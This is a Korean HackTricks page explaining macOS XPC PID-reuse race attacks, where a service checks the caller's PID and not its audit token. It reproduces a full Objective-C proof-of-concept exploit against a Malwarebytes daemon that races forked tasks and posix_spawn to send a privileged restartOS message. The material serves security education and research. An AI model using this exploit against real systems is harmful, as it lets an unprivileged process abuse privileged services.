macOS PID ์žฌ์‚ฌ์šฉ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

PID ์žฌ์‚ฌ์šฉ

macOS XPC ์„œ๋น„์Šค๊ฐ€ PID๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ˜ธ์ถœ๋œ ํ”„๋กœ์„ธ์Šค๋ฅผ ํ™•์ธํ•˜๊ณ  ๊ฐ์‚ฌ ํ† ํฐ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š์„ ๋•Œ, PID ์žฌ์‚ฌ์šฉ ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณต๊ฒฉ์€ ๊ฒฝ์Ÿ ์กฐ๊ฑด์— ๊ธฐ๋ฐ˜ํ•˜๋ฉฐ, ์ต์Šคํ”Œ๋กœ์ž‡์ด XPC ์„œ๋น„์Šค์— ๋ฉ”์‹œ์ง€๋ฅผ ์ „์†กํ•˜์—ฌ ๊ธฐ๋Šฅ์„ ์•…์šฉํ•œ ํ›„, **posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)**๋ฅผ ํ—ˆ์šฉ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์ด ํ•จ์ˆ˜๋Š” ํ—ˆ์šฉ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ PID๋ฅผ ์†Œ์œ ํ•˜๊ฒŒ ๋งŒ๋“ค์ง€๋งŒ, ์•…์˜์ ์ธ XPC ๋ฉ”์‹œ์ง€๋Š” ๊ทธ ์ง์ „์— ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, XPC ์„œ๋น„์Šค๊ฐ€ PID๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐœ์‹ ์ž๋ฅผ ์ธ์ฆํ•˜๊ณ  posix_spawn ์‹คํ–‰ ํ›„์— ์ด๋ฅผ ํ™•์ธํ•˜๋ฉด, ๊ถŒํ•œ์ด ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค์—์„œ ์˜จ ๊ฒƒ์œผ๋กœ ์ƒ๊ฐํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ต์Šคํ”Œ๋กœ์ž‡ ์˜ˆ์‹œ

shouldAcceptNewConnection ํ•จ์ˆ˜๋‚˜ ์ด๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ํ•จ์ˆ˜๊ฐ€ **processIdentifier**๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  **auditToken**์„ ํ˜ธ์ถœํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๋ฅผ ์ฐพ์œผ๋ฉด, ์ด๋Š” ํ”„๋กœ์„ธ์Šค PID๋ฅผ ํ™•์ธํ•˜๊ณ  ๊ฐ์‚ฌ ํ† ํฐ์„ ํ™•์ธํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.
์˜ˆ๋ฅผ ๋“ค์–ด, ์ด ์ด๋ฏธ์ง€์—์„œ์ฒ˜๋Ÿผ (์ฐธ์กฐ์—์„œ ๊ฐ€์ ธ์˜ด):

https://wojciechregula.blog/images/2020/04/pid.png

์ต์Šคํ”Œ๋กœ์ž‡์˜ ๋‘ ๋ถ€๋ถ„์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์ด ์˜ˆ์‹œ ์ต์Šคํ”Œ๋กœ์ž‡์„ ํ™•์ธํ•˜์„ธ์š” (๋‹ค์‹œ, ์ฐธ์กฐ์—์„œ ๊ฐ€์ ธ์˜ด):

  • ์—ฌ๋Ÿฌ ๊ฐœ์˜ ํฌํฌ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ถ€๋ถ„
  • ๊ฐ ํฌํฌ๋Š” ๋ฉ”์‹œ์ง€๋ฅผ ์ „์†กํ•œ ์งํ›„ **posix_spawn**์„ ์‹คํ–‰ํ•˜๋ฉด์„œ XPC ์„œ๋น„์Šค์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

Caution

์ต์Šคํ”Œ๋กœ์ž‡์ด ์ž‘๋™ํ•˜๋ ค๋ฉด export`` ``**OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES**๋ฅผ ์„ค์ •ํ•˜๊ฑฐ๋‚˜ ์ต์Šคํ”Œ๋กœ์ž‡ ๋‚ด๋ถ€์— ๋‹ค์Œ์„ ๋„ฃ๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค:

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

์ฒซ ๋ฒˆ์งธ ์˜ต์…˜์€ **NSTasks**๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์ž์‹ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•˜์—ฌ RC๋ฅผ ์•…์šฉํ•˜๋Š” ์ธ์ˆ˜์ž…๋‹ˆ๋‹ค.

// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}

๋‹ค๋ฅธ ์˜ˆ์‹œ

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ